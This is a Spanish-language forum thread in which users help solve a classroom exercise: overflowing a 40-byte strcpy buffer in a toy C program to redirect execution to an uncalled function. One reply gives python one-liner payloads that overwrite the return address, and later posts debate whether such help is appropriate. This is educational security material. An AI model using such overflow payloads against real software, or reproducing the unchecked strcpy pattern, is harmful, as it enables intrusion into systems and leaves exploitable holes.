elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  DISEÑO DE EXPLOIT
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: DISEÑO DE EXPLOIT  (Leído 2,444 veces)
crimi

Desconectado Desconectado

Mensajes: 2


Ver Perfil
DISEÑO DE EXPLOIT
« en: 12 Diciembre 2012, 00:39 »

Hola:

¿Alguien me podría ayudar con el siguiente ejercicio?

1.Dado el siguiente código fuente, diseñar un exploit que permita la función “privada”:

#include <string.h>
void privada (void) {
printf("Hola función pública\n");
}
int main(int argc, char * argv [])
{
char buffer [40];
if (argc != 2){
printf("Necesito un argumento %d\n",argc);
exit(-1);
}
strcpy(buffer, argv[1]);
printf("%s\n",buffer);
return (0);
}
En línea

0xDani


Desconectado Desconectado

Mensajes: 1.071


Fuck the system!


Ver Perfil
Re: DISEÑO DE EXPLOIT
« Respuesta #1 en: 12 Diciembre 2012, 15:54 »

Si te fijas no se verifica que argv[1] apunte a una cadena de menos de 40 caracteres, ni se limita el numero de caracteres que se pueden copiar a buffer. Aqui tendrias que hacer un stack overflow, de forma que puedas dejar EIP apuntando a la funcion privada, o algo asi.

http://www.exploit-db.com/download_pdf/17008
En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
ameise_1987

Desconectado Desconectado

Mensajes: 108



Ver Perfil
Re: DISEÑO DE EXPLOIT
« Respuesta #2 en: 12 Diciembre 2012, 18:29 »

pistas:

Citar
con 51 caracteres no rompe!!.

./prueba `python -c "print 'a'*51"`

con 52 caracteres rompe!!.


./prueba `python -c "print 'a'*52"
Segmentation fault


si con 52 caracteres rompe, intentemos inyectar una direccion de memoria despues de un buffer de 52 caracteres, en mi caso inyecte la direccion de antes del printf que se encuentra dentro del if que verifica si he ingresado un parametro por consola(la direccion antes, para que ingrese la cadena, de lo contrario tendria un error), la idea era que imprimira el buffer ingresado y tambien el mensaje de error diciendo que debia ingresar un parametro  :laugh:


Citar
./prueba `python -c "print 'a'*52+'\xd6\x84\x04\x08'"`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaք
Necesito un argumento -1073743340

siendo \xd6\x84\x04\x08 -> 0x080484d6, que es la direccion de la cadena "Necesito un argumento %d\n" , ahora lo que debes hacer es buscar la direccion de la funcion a ejecutar y reemplazarla por esa.

tambien, debes leer un tutorial de ASM at&t y un tutorial de buffer overflow.
http://overflowedminds.net/papers.php
« Última modificación: 12 Diciembre 2012, 18:31 por ameise_1987 » En línea

firma retirada por insultar/cachondearse de (anelkaos) del staff.
FerRockrose

Desconectado Desconectado

Mensajes: 8

El conocimiento es un derecho y un deber


Ver Perfil
Re: DISEÑO DE EXPLOIT
« Respuesta #3 en: 3 Enero 2013, 22:08 »

¿por que lo ayudan con esas cosas?
no se supone que esas cosas están prohibidas en este foro???
o hay preferencias doblemoralistas ?
En línea

TrashAmbishion

Desconectado Desconectado

Mensajes: 282


Ver Perfil
Re: DISEÑO DE EXPLOIT
« Respuesta #4 en: 14 Enero 2013, 03:34 »

¿por que lo ayudan con esas cosas?
no se supone que esas cosas están prohibidas en este foro???
o hay preferencias doblemoralistas ?

No le veo nada de malo a eso, hasta donde el pregunto no veo nada malo...

Tampoco exageremos

Salu2
En línea

Falso Positivo

Desconectado Desconectado

Mensajes: 243



Ver Perfil WWW
Re: DISEÑO DE EXPLOIT
« Respuesta #5 en: 15 Enero 2013, 16:30 »

¿por que lo ayudan con esas cosas?
no se supone que esas cosas están prohibidas en este foro???
o hay preferencias doblemoralistas ?

¿Qué es lo malo en guiar para conocer mejor el funcionamiento y problemas mas comunes de varios programas?
En línea

Don't worry, be hacked....
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Powered by SMF 1.1.19 | SMF © 2006-2008, Simple Machines